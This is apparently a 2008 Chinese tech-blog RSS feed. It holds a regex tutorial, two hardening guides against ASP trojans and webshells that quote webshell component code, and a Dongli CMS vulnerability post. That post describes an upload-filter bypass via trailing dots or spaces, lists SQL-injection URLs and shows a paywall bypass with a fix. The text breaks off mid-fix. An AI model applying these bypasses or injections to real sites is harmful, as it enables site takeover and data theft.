匹配单词边界有少许不同，但却给正则表达式增加了一个非常重要的功能。单词边界就是单词和空格之间的位置。非单词边界就是其他任何位置。下面的 JScript 表达式将匹配单词 'Chapter' 的前三个字符，因为它们出现在单词边界后/&#92;bCha/对 VBScript 为&quot;&#92;bCha&quot;</p> <p>&nbsp;&nbsp; 这里 '&#92;b' 操作符的位置很关键。如果它位于要匹配的字符串的开始，则将查找位于单词开头处的匹配；如果它位于改字符串的末尾，则查找位于单词结束处的匹配。例如，下 面的表达式将匹配单词 'Chapter' 中的 'ter'，因为它出现在单词边界之前/ter&#92;b/以及&quot;ter&#92;b&quot;</p> <p>&nbsp;&nbsp; 下面的表达式将匹配 'apt'，因为它位于 'Chapter' 中间，但不会匹配 'aptitude' 中的'apt'：/&#92;Bapt/以及&quot;&#92;Bapt&quot;</p> <p>&nbsp;&nbsp; 这是因为在单词 'Chapter' 中 'apt' 出现在非单词边界位置，而在单词 'aptitude' 中位于单词边界位置。非单词边界操作符的位置不重要，因为匹配与一个单词的开头或结尾无关。<br /><br /><strong>&nbsp;&nbsp; 选择与编组</strong><br /><br />&nbsp;&nbsp; 选择允许使用 '&#124;' 字符来在两个或多个候选项中进行选择。通过扩展章节标题的正则表达式，可以将其扩充为不仅仅适用于章节标题的表达式。不过，这可没有想象的那么直接。在使 用选择时，将匹配'&#124;' 字符每边最可能的表达式。你可能认为下面的 JScript 和 VBScript 表达式将匹配位于一行的开始和结束位置且后跟一个或两个数字的 'Chapter' 或 'Section'： <br /><br />/^Chapter&#124;Section [1-9][0-9]&#123;0,1&#125;$/<br /><br />&quot;^Chapter&#124;Section [1-9][0-9]&#123;0,1&#125;$&quot;<br /><br />&nbsp;&nbsp; 不幸的是，真正的情况是上面所示的正则表达式要么匹配位于一行开始处的单词 'Chapter'，要么匹配一行结束处的后跟任何数字的 'Section'。如果输入字符串为 'Chapter 22'，上面的表达式将只匹配单词 'Chapter'。如果输入字符串为 'Section 22'，则该表达式将匹配 'Section 22'。但这种结果不是我们此处的目的，因此必须有一种办法来使正则表达式对于所要做的更易于响应，而且确实也有这种方法。<br /><br />&nbsp;&nbsp; 可以使用圆括号来限制选择的范围，也就是说明确该选择只适用于这两个单词 'Chapter' 和 'Section'。不过，圆括号同样也是难处理的，因为它们也用来创建子表达式，有些内容将在后面关于子表达式的部分介绍。通过采用上面所示的正则表达 式并在适当位置添加圆括号，就可以使该正则表达式既可以匹配 'Chapter 1'，也可以匹配 'Section 3'。<br /><br />&nbsp; 下面的正则表达式使用圆括号将 'Chapter' 和 'Section' 组成一组，所以该表达式才能正确工作。对 JScript 为：<br /><br />/^(Chapter&#124;Section) [1-9][0-9]&#123;0,1&#125;$/对 VBScript 为&quot;^(Chapter&#124;Section) [1-9][0-9]&#123;0,1&#125;$&quot;<br /><br />&nbsp;&nbsp; 这些表达式工作正确，只是产生了一个有趣的副产品。在 'Chapter&#124;Section' 两边放置圆括号建立了适当的编组，但也导致两个待匹配单词之一都被捕获供今后使用。由于在上面所示的表达式中只有一组圆括号，因此只能有一个捕获的 submatch。可以使用 VBScript 的Submatches 集合或者JScript 中RegExp 对象的 $1-$9 属性来引用这个子匹配。<br /><br />&nbsp;&nbsp; 有时捕获一个子匹配是所希望的，有时则是不希望的。在说明所示的示例中，真正想做的就是使用圆括号对单词 'Chapter' 或 'Section' 之间的选择编组。并不希望在后面再引用该匹配。实际上，除非真的是需要捕获子匹配，否则请不要使用。由于不需要花时间和内存来存储那些子匹配，这种正则表 达式的效率将更高。<br /><br />&nbsp;&nbsp; 可以在正则表达式模式圆括号内部的前面使用 '?:'来防止存储该匹配供今后使用。对上面所示正则表达式的下述修改提供了免除子匹配存储的相同功能。对 JScript：<br /><br />/^(?:Chapter&#124;Section) [1-9][0-9]&#123;0,1&#125;$/对 VBScript为&quot;^(?:Chapter&#124;Section) [1-9][0-9]&#123;0,1&#125;$&quot;<br /><br />&nbsp;&nbsp; 除了 '?:' 元字符，还有两个非捕获元字符用于称之为预查的匹配。一个为正向预查，用 ?= 表示， 在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串。一个为负向预查，用 '?!' 表示，在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。<br /><br />&nbsp;&nbsp; 例如，假定有一个包含引用有 Windows 3.1、Windows 95、Windows 98 以及 Windows NT 的文档。进一步假设需要更新该文档，方法是查找所有对 Windows 95、Windows 98 以及 Windows NT 的引用，并将这些引用更改为 Windows 2000。可以使用下面的 JScript 正则表达式，这是一个正向预查，来匹配 Windows 95、Windows 98 以及 Windows NT：<br /><br />/Windows(?=95 &#124;98 &#124;NT )/<br /><br />在 VBScript 要进行同样的匹配可以使用下述表达式：<br /><br />&quot;Windows(?=95 &#124;98 &#124;NT )&quot;<br /><br />找到一个匹配后，紧接匹配到的文字（而不包括预查中使用的字符）就开始对下一次匹配的搜索。例如，如果上面所示的表达式匹配到 'Windows 98'，则将从 'Windows' 而不是 '98' 之后继续查找。<br /><br /><strong>&nbsp; 向后引用</strong><br /><br />&nbsp; 正则表达式一个最重要的特性就是将匹配成功的模式的某部分进行存储供以后使用这一能力。请回想一下，对一个正则表达式模式或部分模式两边添加圆括号将导致 这部分表达式存储到一个临时缓冲区中。可以使用非捕获元字符 '?:', '?=', or '?!' 来忽略对这部分正则表达式的保存。<br /><br />&nbsp; 所捕获的每个子匹配都按照在正则表达式模式中从左至右所遇到的内容存储。存储子匹配的缓冲区编号从 1 开始，连续编号直至最大 99 个子表达式。每个缓冲区都可以使用 '&#92;<em>n</em>' 访问，其中 <em>n</em> 为一个标识特定缓冲区的一位或两位十进制数。<br /><br />向后引用一个最简单，最有用的应用是提供了确定文字中连续出现两个相同单词的位置的能力。请看下面的句子：<br /><br /></p><pre>Is is the cost of of gasoline going up up?</pre> <p>&nbsp;&nbsp; 根据所写内容，上面的句子明显存在单词多次重复的问题。如果能有一种方法无需查找每个单词的重复现象就能修改该句子就好了。下面的 JScript 正则表达式使用一个子表达式就可以实现这一功能。<br /><br /></p><pre>/&#92;b([a-z]+) &#92;1&#92;b/gi</pre> <p>等价的 VBScript 表达式为：<br /><br /></p><pre>&quot;&#92;b([a-z]+) &#92;1&#92;b&quot;</pre> <p>&nbsp;&nbsp; 在这个示例中，子表达式就是圆括号之间的每一项。所捕获的表达式包括一个或多个字母字符，即由'[a-z]+' 所指定的。该正则表达式的第二部分是对前面所捕获的子匹配的引用，也就是由附加表达式所匹配的第二次出现的单词。'&#92;1'用来指定第一个子匹配。单词边界 元字符确保只检测单独的单词。如果不这样，则诸如 &quot;is issued&quot; 或 &quot;this is&quot; 这样的短语都会被该表达式不正确地识别。<br /><br />&nbsp;&nbsp; 在 JScript 表达式中，正则表达式后面的全局标志 ('g') 表示该表达式将用来在输入字符串中查找尽可能多的匹配。大小写敏感性由表达式结束处的大小写敏感性标记 ('i') 指定。多行标记指定可能出现在换行符的两端的潜在匹配。对 VBScript 而言，在表达式中不能设置各种标记，但必须使用 <strong>RegExp</strong> 对象的属性来显式设置。<br /><br />&nbsp;&nbsp; 使用上面所示的正则表达式，下面的 JScript 代码可以使用子匹配信息，在一个文字字符串中将连续出现两次的相同单词替换为一个相同的单词：<br /><br /></p><pre>var ss = &quot;Is is the cost of of gasoline going up up?.&#92;n&quot;;<br />var re = /&#92;b([a-z]+) &#92;1&#92;b/gim;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //创建正则表达式样式。<br />var rv = ss.replace(re,&quot;$1&quot;);&nbsp;&nbsp; //用一个单词替代两个单词。</pre> <p>&nbsp;&nbsp; 最接近的等价 VBScript 代码如下：<br /><br /></p><pre>Dim ss, re, rv<br />ss = &quot;Is is the cost of of gasoline going up up?.&quot; &amp; vbNewLine<br />Set re = New RegExp<br />re.Pattern = &quot;&#92;b([a-z]+) &#92;1&#92;b&quot;<br />re.Global = True<br />re.IgnoreCase = True<br />re.MultiLine = True<br />rv = re.Replace(ss,&quot;$1&quot;)</pre> <p>&nbsp;&nbsp; 请注意在 VBScript 代码中，全局、大小写敏感性以及多行标记都是使用 <strong>RegExp</strong> 对象的适当属性来设置的。<br /><br />&nbsp;&nbsp; 在<strong>replace</strong> 方法中使用 <strong>$1</strong> 来引用所保存的第一个子匹配。如果有多个子匹配，则可以用 <strong>$2</strong>, <strong>$3 </strong>等继续引用。<br /><br />&nbsp;&nbsp; 向后引用的另一个用途是将一个通用资源指示符 (URI) 分解为组件部分。假定希望将下述的URI 分解为协议 (ftp, http, etc)，域名地址以及页面/路径：<br /><br /></p><pre>http://msdn.microsoft.com:80/scripting/default.htm</pre> <p>下面的正则表达式可以提供这个功能。对 JScript，为：<br /><br /></p><pre>/(&#92;w+):&#92;/&#92;/([^/:]+)(:&#92;d*)?([^# ]*)/</pre> <p>对 VBScript 为：<br /><br /></p><pre>&quot;(&#92;w+):&#92;/&#92;/([^/:]+)(:&#92;d*)?([^# ]*)&quot;</pre> <p>&nbsp;&nbsp; 第一个附加子表达式是用来捕获该 web 地址的协议部分。该子表达式匹配位于一个冒号和两个正斜杠之前的任何单词。第二个附加子表达式捕获该地址的域名地址。该子表达式匹配不包括 '^'、 '/' 或 ':' 字符的任何字符序列。第三个附加子表达式捕获网站端口号码，如果指定了该端口号。该子表达式匹配后跟一个冒号的零或多个数字。最后，第四个附加子表达式捕 获由该 web 地址指定的路径以及&#92;或者页面信息。该子表达式匹配一个和多个除'#' 或空格之外的字符。<br /><br />&nbsp;&nbsp; 将该正则表达式应用于上面所示的 URI 后，子匹配包含下述内容： </p> <ul><li><strong>RegExp.$1</strong> 包含 &quot;http&quot;&nbsp;&nbsp;</li><li><strong>RegExp.$2</strong> 包含 &quot;msdn.microsoft.com&quot;&nbsp;&nbsp;</li><li><strong>RegExp.$3</strong> 包含 &quot;:80&quot;&nbsp;&nbsp;</li><li><strong>RegExp.$4</strong> 包含 &quot;/scripting/default.htm&quot; </li></ul><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1756</link>
<title><![CDATA[转帖：如何防止ASP木马在服务器上运行]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Sat, 29 Mar 2008 08:46:49 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1756</guid> 
<description>
<![CDATA[ 
	如果您的服务器正在受ASP木马的困扰，那么希望这篇文章能帮您解决您所面临的问题。<br /><br />目前比较流行的ASP木马主要通过三种技术来进行对服务器的相关操作。<br />一、使用FileSystemObject组件<br /><br />FileSystemObject可以对文件进行常规操作<br /><br />可以通过修改注册表，将此组件改名，来防止此类木马的危害。<br /><br />HKEY_CLASSES_ROOT&#92;Scripting.FileSystemObject&#92;<br /><br />改名为其它的名字，如：改为FileSystemObject_ChangeName<br /><br />自己以后调用的时候使用这个就可以正常调用此组件了<br /><br />也要将clsid值也改一下<br /><br />HKEY_CLASSES_ROOT&#92;Scripting.FileSystemObject&#92;CLSID&#92;项目的值<br /><br />也可以将其删除，来防止此类木马的危害。<br /><br />注销此组件命令：RegSrv32 /u C:&#92;WINNT&#92;SYSTEM&#92;scrrun.dll<br /><br />禁止Guest用户使用scrrun.dll来防止调用此组件。<br /><br />使用命令：cacls C:&#92;WINNT&#92;system32&#92;scrrun.dll /e /d guests<br /><br />二、使用WScript.Shell组件<br /><br />WScript.Shell可以调用系统内核运行DOS基本命令<br /><br />可以通过修改注册表，将此组件改名，来防止此类木马的危害。<br /><br />HKEY_CLASSES_ROOT&#92;WScript.Shell&#92;及HKEY_CLASSES_ROOT&#92;WScript.Shell.1&#92;<br /><br />改名为其它的名字，如：改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName<br /><br />自己以后调用的时候使用这个就可以正常调用此组件了<br /><br />也要将clsid值也改一下<br /><br />HKEY_CLASSES_ROOT&#92;WScript.Shell&#92;CLSID&#92;项目的值<br /><br />HKEY_CLASSES_ROOT&#92;WScript.Shell.1&#92;CLSID&#92;项目的值<br /><br />也可以将其删除，来防止此类木马的危害。<br /><br />三、使用Shell.Application组件<br /><br />Shell.Application可以调用系统内核运行DOS基本命令<br /><br />可以通过修改注册表，将此组件改名，来防止此类木马的危害。<br /><br />HKEY_CLASSES_ROOT&#92;Shell.Application&#92;<br /><br />及HKEY_CLASSES_ROOT&#92;Shell.Application.1&#92;<br /><br />改名为其它的名字，如：改为Shell.Application_ChangeName或Shell.Application.1_ChangeName<br /><br />自己以后调用的时候使用这个就可以正常调用此组件了<br /><br />也要将clsid值也改一下<br /><br />HKEY_CLASSES_ROOT&#92;Shell.Application&#92;CLSID&#92;项目的值<br /><br />HKEY_CLASSES_ROOT&#92;Shell.Application&#92;CLSID&#92;项目的值<br /><br />也可以将其删除，来防止此类木马的危害。<br /><br />禁止Guest用户使用shell32.dll来防止调用此组件。<br /><br />使用命令：cacls C:&#92;WINNT&#92;system32&#92;shell32.dll /e /d guests<br /><br />注：操作均需要重新启动WEB服务后才会生效。<br /><br />四、调用Cmd.exe<br /><br />禁用Guests组用户调用cmd.exe<br /><br />cacls C:&#92;WINNT&#92;system32&#92;Cmd.exe /e /d guests<br /><br />通过以上四步的设置基本可以防范目前比较流行的几种木马，但最有效的办法还是通过综合安全设置，将服务器、程序安全都达到一定标准，才可能将安全等级设置较高，防范更多非法入侵。<br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp%25E5%25AE%2589%25E5%2585%25A8" rel="tag">asp安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%259C%25A8%25E9%25A9%25AC" rel="tag">木马</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1755</link>
<title><![CDATA[转帖：ASP木马Webshell的安全防范解决办法]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Sat, 29 Mar 2008 08:44:03 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1755</guid> 
<description>
<![CDATA[ 
	<p>　　注意：本文所讲述之设置方法与环境：适用于Microsoft Windows 2000 Server/Win2003 SERVER &#124; IIS5.0/IIS6.0 </p> <p>　　1、首先我们来看看一般ASP木马、Webshell所利用的ASP组件有那些？我们以海洋木马为列： </p> <p>&nbsp;</p><table border="1" cellspacing="0" cellpadding="2" width="400" align="center"> <tbody> <tr> <td class="code" style="font-size: 9pt" bgcolor="#e6e6e6"><pre>&lt;object runat=&quot;server&quot; id=&quot;ws&quot; scope=&quot;page&quot; classid=&quot;clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8&quot;&gt;<br />&lt;/object&gt;<br />&lt;object runat=&quot;server&quot; id=&quot;ws&quot; scope=&quot;page&quot; classid=&quot;clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B&quot;&gt;<br />&lt;/object&gt;<br />&lt;object runat=&quot;server&quot; id=&quot;net&quot; scope=&quot;page&quot; classid=&quot;clsid:093FF999-1EA0-4079-9525-9614C3504B74&quot;&gt;<br />&lt;/object&gt;<br />&lt;object runat=&quot;server&quot; id=&quot;net&quot; scope=&quot;page&quot; classid=&quot;clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B&quot;&gt;<br />&lt;/object&gt;<br />&lt;object runat=&quot;server&quot; id=&quot;fso&quot; scope=&quot;page&quot; classid=&quot;clsid:0D43FE01-F093-11CF-8940-00A0C9054228&quot;&gt;<br />&lt;/object&gt;<br /><br />shellStr=&quot;Shell&quot;<br />applicationStr=&quot;Application&quot; <br />if cmdPath=&quot;wscriptShell&quot; <br />set sa=server.createObject(shellStr&amp;&quot;.&quot;&amp;applicationStr)<br />set streamT=server.createObject(&quot;adodb.stream&quot;)<br />set domainObject = GetObject(&quot;WinNT://.&quot;)</pre></td></tr></tbody></table> <p>&nbsp;</p> <p>　　以上是海洋中的相关代码，从上面的代码我们不难看出一般ASP木马、Webshell主要利用了以下几类ASP组件： </p> <p>　　① WScript.Shell (classid:72C24DD5-D70A-438B-8A42-98424B88AFB8) </p> <p>　　② WScript.Shell.1 (classid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B) </p> <p>　　③ WScript.Network (classid:093FF999-1EA0-4079-9525-9614C3504B74) </p> <p>　　④ WScript.Network.1 (classid:093FF999-1EA0-4079-9525-9614C3504B74) </p> <p>　　⑤ FileSystem Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228) </p> <p>　　⑥ Adodb.stream (classid:) </p> <p>　　⑦ Shell.applicaiton.... </p> <p>　　hehe，这下我们清楚了危害我们WEB SERVER IIS的最罪魁祸首是谁了!!开始操刀,come on... </p> <p>　　2:解决办法： </p> <p>　　① 删除或更名以下危险的ASP组件： </p> <p>　　WScript.Shell、WScript.Shell.1、Wscript.Network、Wscript.Network.1、adodb.stream、Shell.application </p> <p>　　开始-------&gt;运行---------&gt;Regedit，打开注册表编辑器，按Ctrl+F查找，依次输入以上 Wscript.Shell等组件名称以及相应的ClassID，然后进行删除或者更改名称(这里建议大家更名，如果有部分网页ASP程序利用了上面的组 件的话呢，只需在将写ASP代码的时候用我们更改后的组件名称即可正常使用。当然如果你确信你的ASP程序中没有用到以上组件，还是直 </p> <p>　　接删除心中踏实一些^_^,按常规一般来说是不会做到以上这些组件的。删除或更名后，iisreset重启IIS后即可升效。) </p> <p>　　[注意：由于Adodb.Stream这个组件有很多网页中将用到，所以如果你的服务器是开虚拟主机的话，建议酢情处理。] </p> <p>　　② 关于 File System Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228)即常说的FSO的安全问题，如果您的服务器必需要用到 FSO的话，(部分虚拟主机服务器一般需开FSO功能)可以参照本人的另一篇关于FSO安全解决办法的文章:Microsoft Windows 2000 Server FSO 安全隐患解决办法。如果您确信不要用到的话，可以直接反注册此组件即可。 </p> <p>　　③ 直接反注册、卸载这些危险组件的方法：(实用于不想用①及②类此类烦琐的方法) </p> <p>　　卸载wscript.shell对象，在cmd下或直接运行：regsvr32 /u %windir%system32WSHom.Ocx </p> <p>　　卸载FSO对象,在cmd下或直接运行：regsvr32.exe /u %windir%system32scrrun.dll </p> <p>　　卸载stream对象,在cmd下或直接运行： regsvr32 /s /u &quot;C:Program FilesCommon FilesSystemadomsado15.dll&quot; </p> <p>　　如果想恢复的话只需要去掉 /U 即可重新再注册以上相关ASP组件例如：regsvr32.exe %windir%system32scrrun.dll </p> <p>　　④ 关于Webshell中利用set domainObject = GetObject(&quot;WinNT://.&quot;)来获取服务器的进程、服务以及用户等信息的防范，大家可以将服务中的Workstation[提供网络链结 和通讯]即Lanmanworkstation服务停止并禁用即可。此处理后，Webshell显示进程处将为空白。 </p> <p>　　3 按照上1、2方法对ASP类危险组件进行处理后，用阿江的asp探针测试了一下,&quot;服务器CPU详情&quot;和&quot;服务器操作系统&quot;根本查不到,内容为空白的。再 用海洋测试Wsript.Shell来运行cmd命令也是提示Active无法创建对像。大家就都可以再也不要为ASP木马危害到服务器系统的安全而担扰 了。 </p> <p>　　当然服务器安全远远不至这些，这里为大家介绍的仅仅是本人在处理ASP木马、Webshell上的一些心得体会。在下一篇中将为大家介绍如何简 简单单的防止别人在服务器上执行如net user之类的命令，防溢出类攻击得到cmdshell，以及执行添加用户、改NTFS设置权限到终端登录等等的最简单有效的防范方法。 </p> <p>　　本文作者：李泊林/LeeBolin 资深系统工程师、专业网络安全顾问。 已成功为国内多家大中型企业，ISP服务商提供了完整的网络安全解决方案。尤其擅长于整体网络安全方案的设计、大型网络工程的策划、以及提供完整的各种服务器系列安全整体解决方案。</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%259C%25A8%25E9%25A9%25AC%25E7%25BC%2596%25E7%25A8%258B" rel="tag">木马编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1754</link>
<title><![CDATA[转帖：动力论坛漏洞说明]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:40:53 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1754</guid> 
<description>
<![CDATA[ 
	作者:Linzi<br /><br />出处:www.71345.com[混客部落]<br /><br />QQ:290329536<br /><br />这个漏洞我发现很久了,很早都想公布出来了,发到杂志上去,但没有收到回复,所以现在公布出来.<br /><br />还是先来读一下这个代码吧,可能因为是这个漏洞出来很久了,所以很少有人会再去看一下这个漏<br /><br />洞的代码,我也是在一样无意中重读这个代码时发现这个漏洞的.<br /><br />const UpFileType=&quot;rar&#124;zip&#124;exe&#124;mpg&#124;rm&#124;wav&#124;mid&quot; 定义了可以上传的文件类型<br />...<br />dim EnableUpload 定义了是否允许上传的关键变量<br />...<br />FoundErr=false 默认FoundErr变量为假，即没有发现错误（哈哈，关键变量哦，看下面）<br />EnableUpload=false 默认EnableUpload变量为假，即不能上传（哈哈，关键变量哦）<br />...<br />for each formName in upload.file列出所有上传了的文件（！关键，注意这个FOR循环！）<br />set ofile=upload.file(formName) 生成一个文件对象<br />...<br />arrUpFileType=split(UpFileType,&quot;&#124;&quot;) 取得定义的可以上传的后缀名<br />for i=0 to ubound(arrUpFileType)<br />if fileEXT=trim(arrUpFileType(i)) then<br />EnableUpload=true hoho，EnableUpload变量改变了！<br />exit for<br />end if<br />next<br />if fileEXT=&quot;asp&quot; or fileEXT=&quot;asa&quot; or fileEXT=&quot;aspx&quot; then 呵呵，只要是ASP，ASA，ASPX的后缀就废掉了，难怪海洋顶端上不去阿！<br />EnableUpload=false<br />end if<br />if EnableUpload=false then<br />msg=&quot;这种文件类型不允许上传！&#92;n&#92;n只允许上传这几种文件类型：&quot; &amp; UpFileType<br />FoundErr=true hoho，FoundErr变量改变了！<br />end if<br />...<br />if FoundErr&lt;&gt;true then 又是一个重要地方，看来FoundErr变量是能否上传的关键，那如何决定FoundErr变量呢？(草草虫ps:偶可以瞪大了眼睛看啊)<br />randomize<br />ranNum=int(900*rnd)+100 生成一个随机数 filename=SavePath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;&quot;.&quot;&amp;fileExt 没有改变上传文件的后缀，爽阿<br />...<br />ofile.SaveToFile Server.mappath(FileName) 保存文件<br />response.write &quot;软件上传成功！软件大小为：&quot; &amp; cstr(round(oFileSize/1024)) &amp; &quot;K&quot;<br />strJS=strJS &amp; &quot;parent.document.myform.DownloadUrl1.value=&quot; &amp; fileName &amp; &quot;;&quot; &amp; vbcrlf 晕拉~还返回上传后改的名字，这回好了，不用猜了。<br />strJS=strJS &amp; &quot;parent.document.myform.SoftSize.value=&quot; &amp; cstr(round(oFileSize/1024)) &amp; &quot;;&quot; &amp; vbcrlf<br />注：...表示省略了部分代码<br /><br />具体的漏洞原理分析,我不想多说了,因为有太多的人分析了,我这里只分析&quot;if fileEXT=&quot;asp&quot; or<br /><br />fileEXT=&quot;asa&quot; or fileEXT=&quot;aspx&quot; 这一句,这一句他定义了上传的类型,很多人还在后面加个了<br /><br />fileEXT=&quot;cer&quot;等等等等,用来补上上传漏洞,但经过分析就会发现,这种补法是无济于事的.因为如果<br /><br />我们上传的东西扩展名为asp.(后面有个.)根据windows中,windows会有自动吃掉吃&quot;.&quot;的&quot;好&quot;习惯,<br /><br />那么我们上传的asp.满足了代码中的要求,且上传后点会自动消失,这样的上传,即使你在后面加<br /><br />了多少个cer等都无济于事.不过在对动力有的版本时,你上传有点的asp,他会自动生成一个无扩展<br /><br />名的文件,所以如:我们上传的是newmm.asp.就会变成newmm这个没有扩展名的文件,那怎么办呢,<br /><br />开始的时候我也郁闷,后来在课堂上想这个问题时,想着想着,突然有了灵感.如果我们在后面加上个<br /><br />空格呢,asp (注意有空格)不就满足代码上的条件,而且上传之候windows又有吃掉空格的&quot;好习惯&quot;,<br /><br />所以我们构造的上传文件自然就会上传成功.另外如果加个#也一样,同样可以成功.用这个方法可<br /><br />以突破大多数3.51的补丁限制,不过我说的这个补丁只是fileEXT=&quot;asp&quot; or fileEXT=&quot;asa&quot; or<br /><br />fileEXT=&quot;aspx&quot; 这种后面加上防上传扩展名的补丁,如果你把upfile.asp改成和3.6的一样的,就不会<br /><br />有这个漏洞.<br /><br />不要认为只有动力的文章有这个漏洞,要知道,网络上这种型的web程序非常多,例如武易传奇,还有<br /><br />凡尘文学,各种OA办公的等等,总之有非常非常多,我试了好几种类型上传文件的全部成功.这样下<br /><br />菜鸟们可以说又有一大堆的肉鸡了,对于文中所说到的利用,我做成了动画,另外再一下,如果是和动<br /><br />网整合的动力,下载的数据库在dv_log可以有时可以查看没有加密过的密码.<br /><br />动力3.51最新多个注入<br />1、文章，软件评论<br /><br />每篇文章和软件结尾我们都可以发表评论，在没有任何评论的时候大家看不出来。但是如果你试试发表一篇评论，你会发现多出一个&ldquo;查看关于此文章（软件）的所有评论&rdquo;点击。呵呵注入口出来了，这里大家就可以注入了。<br />Article_CommentShow.asp?ArticleID=228<br />Soft_CommentShow.asp?SoftID=177<br /><br /><br />2、栏目标题<br /><br />大家在点击每个文章栏目或是软件栏目的时候可以注入。<br />Article_Class2.asp?ClassID=3<br />Soft_Class.asp?ClassID=4<br /><br /><br />3.用户排行<br /><br />在首页大家一般都可以看见用户排行，大家点击任何一个用户。就可以注入了。<br />UserInfo.asp?UserID=3440<br />我想应该还有些地方存在，我在这里要请各位站长注意，在使用动力系统的时候一定要检查勿出现这种低级的错误。还有就是我测试的是艺龙美化版本，具体其他版本在美化过程中有没有修补就不知道了，但是我还是系统大家检查一下。<br />自由动力3.6 sp2的注入漏洞<br />by:rain[918x]　　http://www.918x.com<br /><br />涉及程序：<br />自由动力3.6 sp2以下免费版本<br />部分Easypower4.0以下免费版本<br /><br /><br /><br />详细：<br />自由动力3.6 sp2中多个文件过滤不严存在注入漏洞<br />下列文件匀存在被注入的危险：<br />Article_Class.ASP<br />Photo_Class.asp<br />Soft_Class.asp<br />UserInfo.ASP<br /><br />对于广大黑客朋友可以使用破解版的ＮＢＳＩ轻松获得admin表里的管理员名和md5加密后的密码．如果暴力破解成功，再利用数据库备份，可轻松获得一个webshell．<br />自由动力使用广泛，请各站长注意！！！<br /><br />攻击方法：(注意：本站旨在提供安全学习，勿做危险用途)<br />使用破解版的ＮＢＳＩ轻松注入：<br />http://www.target.com/UserInfo.asp?UserID=1<br />注意：特征字符填写　id<br />即可破解．<br />其他文件关键在于特征字符的找寻，即可注入．<br />这里不祥解．<br />动力3.51网站管理系统的又一收费漏洞及其解决方法<br />作者:科技创作自由(真名:康健)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QQ:330950407&nbsp;&nbsp;&nbsp; MSN:htlaeh@hotmail.com<br />&nbsp;&nbsp;&nbsp; 今天又发现了一个动力3.51网站管理系统的收费破解漏洞!该漏洞和之前发现的三个漏洞一样可以使普通注册会员免费阅读收费文章完整内容!<br />&nbsp;&nbsp;&nbsp; 漏洞破解方法:注册为网站会员,然后打开收费文章,提示您没有权限阅读全文,不要管它,直接点&quot;打印本文&quot;,接下来出现的&quot;打印文章&quot;页面就可以看到收费文章的全文了!<br />&nbsp;&nbsp;&nbsp; 解决方法:<br />&nbsp;&nbsp;&nbsp; 打开网站主目录下的Article_Print.asp文件(修改前请先备份!)<br />查找:<br />&lt;!--#include file=&quot;Inc/conn.asp&quot;--&gt;<br />&lt;%<br />dim ArticleID,sql,rs<br />ArticleID=Clng(trim(request(&quot;ArticleID&quot;)))<br />if ArticleId=&quot;&quot; then<br />response.Redirect(&quot;Default.asp&quot;)<br />end if<br />sql=&quot;select * from article where ArticleID=&quot; &amp; ArticleID &amp; &quot;&quot;<br />Set rs= Server.CreateObject(&quot;ADODB.Recordset&quot;)<br />rs.open sql,conn,1,3<br />if rs.bof and rs.eof then<br />response.Write(&quot;&lt;p&gt;找不到文章&lt;/p&gt;&quot;)<br />else<br />%&gt;<br /><br /><br />替换为:<br /><br />&lt;!--#include file=&quot;Inc/syscode_article.asp&quot;--&gt;<br />&lt;%<br />const ChannelID=2<br />Const ShowRunTime=&quot;Yes&quot;<br />dim tLayout,tUser<br />PageTitle=&quot;正文&quot;<br />strFileName=&quot;Article_Show.asp&quot;<br />if ArticleId&lt;=0 then<br />FoundErr=true<br />ErrMsg=ErrMsg &amp; &quot;&lt;br&gt;&lt;li&gt;请指定文章ID&lt;/li&gt;&quot;<br />end if<br />if FoundErr=True then<br />call WriteErrMsg()<br />else<br />%&gt;<br /><br />继续查找:<br 